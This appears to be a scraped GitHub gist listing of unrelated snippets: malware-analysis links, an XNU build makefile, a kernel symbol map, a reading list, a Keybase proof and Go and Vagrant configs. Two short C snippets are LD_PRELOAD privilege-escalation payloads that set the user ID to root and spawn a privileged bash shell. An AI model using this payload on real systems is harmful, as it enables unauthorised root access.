- http://computer-forensics.sans.org/blog/2010/11/12/get-started-with-malware-analysis
- http://zeltser.com/malware-analysis-toolkit/
- http://zeltser.com/vmware-malware-analysis/
- http://computer-forensics.sans.org/blog/2010/10/11/3-phases-malware-analysis-behavioral-code-memory-forensics/
- BotMiner: Clustering Analysis of Network Traffic for Protocol- and Structure-Independent Botnet Detection https://www.usenix.org/legacy/event/sec08/tech/full_papers/gu/gu.pdf
- Mining the Network Behavior of Bots http://isg.rhul.ac.uk/sullivan/pubs/tr/2009-12.pdf
- Behavioral Clustering of HTTP-Based Malware and Signature Generation Using Malicious Network Traces https://www.usenix.org/legacy/event/nsdi10/tech/full_papers/perdisci.pdf
- From Throw-Away Traffic to Bots: Detecting the Rise of DGA-Based Malware https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final127.pdf
- Obfuscation of executable code to improve resistance to static disassembly http://www.cs.arizona.edu/~debray/Pub
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- mode: makefile;-*- | |
# | |
# Apple XNU build prep | |
# Jeremy C. Andrus | |
# | |
# This Makefile contains commands necessary to download | |
# and build the XNU kernel for macOS High Sierra through | |
# Mojave. It will not actually build XNU, but it will | |
# build and install all of the prerequisites. | |
# |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0000000000000000 A irq_stack_union | |
0000000000000000 A __per_cpu_start | |
0000000000004000 A init_tss | |
0000000000004000 A __per_cpu_user_mapped_start | |
0000000000007000 A exception_stacks | |
000000000000c000 A gdt_page | |
000000000000d000 A kaiser_scratch | |
000000000000d010 A spec_ctrl_pcp | |
000000000000d040 A kaiser_enabled_pcp | |
000000000000d080 A cpu_debug_store |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.> | |
#include <sys/types.h> | |
#include <stdlib.h> | |
static void hack() __attribute__((constructor)); | |
void hack(){ | |
unsetenv("LD_PRELOAD"); | |
setresuid(0,0,0); | |
system("/bin/bash -p"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.> | |
#include <sys/types.h> | |
#include <stdlib.h> | |
void _init(){ | |
unsetenv("LD_PRELOAD"); | |
setresuid(0,0,0); | |
system("/bin/bash -p"); | |
} |
- Site Reliability Engineering: How Google Runs Production Systems
- Operating Systems
- Operating Systems: Three Easy Pieces
- How Linux Works, 2nd Edition
- Continuous Delivery: Reliable Software Releases through Build, Test, and Deployment Automation
- [Systems Performance: Enterprise and the Cloud](https://www.amazon.com/gp/product/0133390098?ie=UTF8&tag=deirdrestraug-20&linkCode=as2&camp=1789&creative=390957&creativ
I hereby claim:
- I am lucasallan on github.
- I am lucasa (https://keybase.io/lucasa) on keybase.
- I have a public key ASALx1cBTDTtDeNmQ85Wv40BePGxdqerkX5uU27TTljZgwo
To claim this, I am signing this object:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"fmt" | |
"io/ioutil" | |
"github.com/aws/aws-sdk-go/aws" | |
"github.com/aws/aws-sdk-go/aws/credentials" | |
"github.com/aws/aws-sdk-go/service/s3" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"fmt" | |
"io/ioutil" | |
"github.com/aws/aws-sdk-go/aws" | |
"github.com/aws/aws-sdk-go/aws/credentials" | |
"github.com/aws/aws-sdk-go/service/s3" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Vagrant.configure('2') do |config| | |
config.vm.box = "ubuntu/xenial64" # Ubuntu 16.04 | |
# fix issues with slow dns http://serverfault.com/a/595010 | |
config.vm.provider :virtualbox do |vb, override| | |
vb.customize ["modifyvm", :id, "--natdnshostresolver1", "on"] | |
vb.customize ["modifyvm", :id, "--natdnsproxy1", "on"] | |
vb.customize ["modifyvm", :id, "--memory", "4096"] | |
vb.customize ["modifyvm", :id, "--cpus", "4"] | |
end |
NewerOlder